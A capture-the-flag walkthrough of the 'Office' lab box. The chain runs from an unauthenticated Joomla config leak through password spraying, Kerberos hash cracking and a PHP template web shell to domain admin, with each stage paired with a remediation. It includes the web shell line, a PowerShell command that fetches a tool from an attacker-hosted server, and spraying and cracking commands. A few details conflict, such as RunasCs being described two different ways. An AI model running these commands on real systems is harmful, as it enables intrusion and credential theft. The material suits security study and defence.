← all walkthroughs

Office

Windows· Hard· Credential Access
owned
2026-10-12
time to own
49m54s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I found a Joomla CMS running on a Windows Active Directory domain controller (office.htb). An unauthenticated Joomla API endpoint leaked the site's database credentials, which were reused successfully against a domain account over SMB.

A file share reachable with that account held a network capture containing a Kerberos authentication exchange for a second user; the exchange was cracked offline to recover that user's domain password. That second user turned out to be the Joomla Super User, so I logged into the Joomla admin panel and edited a site template to add a PHP web shell, gaining code execution as the web service account.

The web shell was used to run a credential-dumping tool (RunasCs) to switch into that user's own context and read user.txt. Continued domain enumeration surfaced a third credential whose account had administrative rights over WinRM on the domain controller, which was used to read root.txt directly: full domain compromise.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export HEX_ID="<a-value-you-captured-earlier>"

Some commands also carry a value in angle brackets (<cipher_hex>, <hhogan_password>, <leaked_db_password>, <tstark_password>), which you replace inline with what the step before it turned up.

Attack path: how the box was taken

1EnumerationNetwork service and CMS fingerprinting
Mapped the domain controller and fingerprinted the Joomla website
A full port sweep showed the classic Active Directory port set (DNS, Kerberos, SMB, LDAP/LDAPS, WinRM) alongside Apache web servers on ports 80 and 443. The web content was identified as a Joomla CMS from its bundled stylesheet asset, making the public website the most promising entry point.
Open ports 53/80/88/139/389/443/445/464/593/636/3268/3269/5985/9389; /media/system/css/joomla-fontawesome.min.css served by Apache 2.4.56 / PHP 8.0.28.
Exact commands 3
shell

Add the domain and DC names to local resolution.

$ echo "$TARGET office.htb dc.office.htb" | sudo tee -a /etc/hosts
shell

Full TCP sweep with service/version detection.

$ nmap -p- --min-rate=1000 -T4 -sV $TARGET
shell

Confirms the Joomla CMS via its bundled asset path.

$ curl -ksS -L --max-time 10 --max-redirs 3 "http://$TARGET/media/system/css/joomla-fontawesome.min.css?$HEX_ID"
2Initial AccessUnauthenticated information disclosure (CVE-2023-23752) followed by password reuse against AD (T1110.003)
Leaked Joomla configuration disclosed a password that was reused on the domain
This Joomla build exposes a configuration REST endpoint without requiring authentication, which returns the site's database host, username and password. That password was tried against domain usernames (discovered via Kerberos enumeration) and succeeded for a standard domain account, dwolfe, giving read access to SMB shares including a non-default 'SOC Analysis' share.
This account authenticated successfully over SMB.
Exact commands 4
shell

Unauthenticated Joomla API call returns the global config, including the DB password.

$ curl -s 'http://office.htb/api/index.php/v1/config/application?public=true'
shell

Enumerate valid domain usernames via Kerberos; save hits to users.txt.

$ kerbrute userenum -d office.htb --dc dc.office.htb /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
shell

Spray the leaked password across discovered usernames.

$ nxc smb office.htb -u users.txt -p '<leaked_db_password>' --continue-on-success
shell

Confirms access and lists the 'SOC Analysis' share.

$ nxc smb office.htb -u dwolfe -p '<leaked_db_password>' --shares
FixPatch Joomla and stop database credentials from leaking through the APICritical
WeaknessThe installed Joomla version exposed its global configuration, including the live database username and password, through a REST endpoint that required no authentication, and that password was reused on a domain account.
FixUpgrade Joomla past 4.2.8/3.10.x-equivalent fixed releases (CVE-2023-23752) immediately. Rotate the database credential, and enforce that no application/service credential is ever reused as, or derived from, a domain account password: use unique, randomly generated secrets per service with a password manager or secrets vault.
3Credential AccessOffline cracking of Kerberos AS-REQ pre-authentication data (T1558, T1110.002)
Recovered a second domain password from a packet capture stored on a file share
The 'SOC Analysis' share contained a saved network capture. Filtering it for authentication traffic revealed a Kerberos pre-authentication exchange for the user tstark. The encrypted timestamp from that exchange was formatted as an offline-crackable hash and recovered using a password-cracking tool against a common wordlist.
This credential was later used with RunasCs to run commands as tstark.
Exact commands 3
shell

Download the packet capture from the share.

$ smbclient '//office.htb/SOC Analysis' -U 'office/dwolfe%<leaked_db_password>' -c 'ls; mget *.pcap'
shell

Extract the AS-REQ pre-auth cipher for the target user.

$ tshark -r capture.pcap -Y 'kerberos.msg_type==10' -T fields -e kerberos.CNameString -e kerberos.cipher
shell

Crack the Kerberos 5 etype 18 pre-auth hash offline.

$ echo '$krb5pa$18$tstark$OFFICE.HTB$<cipher_hex>' > hash.txt && hashcat -m 19900 hash.txt /usr/share/wordlists/rockyou.txt
FixRemove sensitive packet captures from file shares and enforce strong, pre-auth-resistant passwordsHigh
WeaknessA network capture containing a recoverable Kerberos authentication exchange was stored on an SMB share reachable by a standard domain user, and the targeted account's password was weak enough to be cracked offline from that exchange.
FixRemove PCAPs and other diagnostic artifacts from general-access shares; restrict 'SOC Analysis' (and similar) shares to the specific analysts who need them. Enforce a strong password policy (14+ characters, checked against breach lists) and enable AES-only Kerberos encryption to make offline pre-auth cracking far less practical.
4ExploitationAuthenticated code execution via Joomla template editor, web shell (T1505.003)
Used the Joomla Super User account to plant a web shell via template editing
The cracked password belonged to the Joomla Super User account. Logging into the Joomla admin panel, I edited a site template file to insert a small PHP snippet that runs whatever operating-system command is supplied in a URL parameter. Requesting that file afterward, with no login required, executed commands as the Apache/IIS service account.
templates/cassiopeia/cmd.php returned command output for an unauthenticated cmd= request, confirming execution as office\web_account.
Exact commands 2
shell

Add the line: <?php system($_GET['cmd']); ?>

$ # Joomla admin: System > Site Templates > Cassiopeia > Details and Files > index.php (or any editable template file)
shell

Confirms RCE; returns office\web_account.

$ curl --resolve office.htb:80:$TARGET -sS 'http://office.htb/templates/cassiopeia/cmd.php?cmd=whoami'
office\web_account
FixRestrict Joomla administrator access and prevent template-based code executionCritical
WeaknessThe Joomla Super User account was reachable with a password recovered from an unrelated AD credential-cracking path, and once logged in, the admin panel allowed direct editing of template PHP files, turning CMS admin access into full remote code execution on the web server.
FixEnforce MFA on all Joomla administrator accounts and restrict /administrator access by source IP where possible. Disable the template file editor for non-essential admins, and run the web server under a dedicated low-privilege account with no network logon rights so a web shell cannot be chained into further credential abuse.
5Privilege Escalation / User AccessCredential replay via RunasCs to obtain a new logon session (T1134 Access Token Manipulation)
Staged a context-switching tool through the web shell to run commands as tstark and read user.txt
Through the web shell, a legitimate administration utility (RunasCs) was uploaded to the host and used with tstark's recovered password to spawn a command prompt running as that user. That session was used to confirm identity and read the user flag from tstark's desktop.
cmd.php request ran C:\Windows\Temp\RunasCs.exe tstark <password> "cmd /c whoami & klist & type ...\user.txt"; output confirmed office\tstark.
Exact commands 2
shell

Stage RunasCs.exe on the target via the web shell; serve it from python3 -m http.server 8000.

$ curl --resolve office.htb:80:$TARGET -sS "http://office.htb/templates/cassiopeia/cmd.php?cmd=powershell%20iwr%20http://$ATTACKER_IP:8000/RunasCs.exe%20-OutFile%20C:\Windows\Temp\RunasCs.exe"
shell

Run as tstark and read the flag; URL-encode the cmd value; replace <user.txt> content before reporting it.

$ curl --resolve office.htb:80:$TARGET -sS --max-time 30 'http://office.htb/templates/cassiopeia/cmd.php?cmd=C:\Windows\Temp\RunasCs.exe tstark <tstark_password> "cmd /c whoami & klist & type C:\Users\tstark\Desktop\user.txt" -d office.htb -l 2'
6Domain CompromiseAbuse of an over-privileged domain account via WinRM (T1021.006 Remote Services: WinRM)
Harvested a third domain credential with administrative WinRM rights and read root.txt
Continued enumeration from the web shell / tstark context surfaced a further domain account, hhogan. Testing this account's WinRM access showed it was flagged as administrator-equivalent on the domain controller, allowing direct command execution in a privileged context without needing an interactive session.
Nxc winrm reported office.htb\hhogan's password (Pwn3d!) against the DC and executed Get-Content as Administrator.
Exact commands 2
shell

Confirms admin-equivalent WinRM access (reports 'Pwn3d!').

$ nxc winrm $TARGET -d office.htb -u hhogan -p '<hhogan_password>'
shell

Read the root flag directly; substitute <root.txt> for the returned value.

$ nxc winrm $TARGET -d office.htb -u hhogan -p '<hhogan_password>' -X 'Get-Content C:\Users\Administrator\Desktop\root.txt'
FixRemove excessive administrative/WinRM rights from standard domain accountsCritical
WeaknessA regular domain account (hhogan) held administrator-equivalent rights on the domain controller via WinRM, letting anyone who harvested its password run commands as a privileged identity with a single tool invocation.
FixAudit WinRM-enabled hosts and the Remote Management Users / local Administrators group membership on the DC; remove standard users from that group and grant WinRM access only through time-bound, audited privileged access (e.g., LAPS + PAW + just-in-time elevation). Enable WinRM logging/alerting for logons from non-admin-tier accounts.

Exposed services

53/tcp
80/tcp
88/tcp
139/tcp
389/tcp
443/tcp
445/tcp
464/tcp
593/tcp
636/tcp
3268/tcp
3269/tcp
5985/tcp
9389/tcp
49664/tcp
49668/tcp
57853/tcp
57868/tcp
57886/tcp
53/udp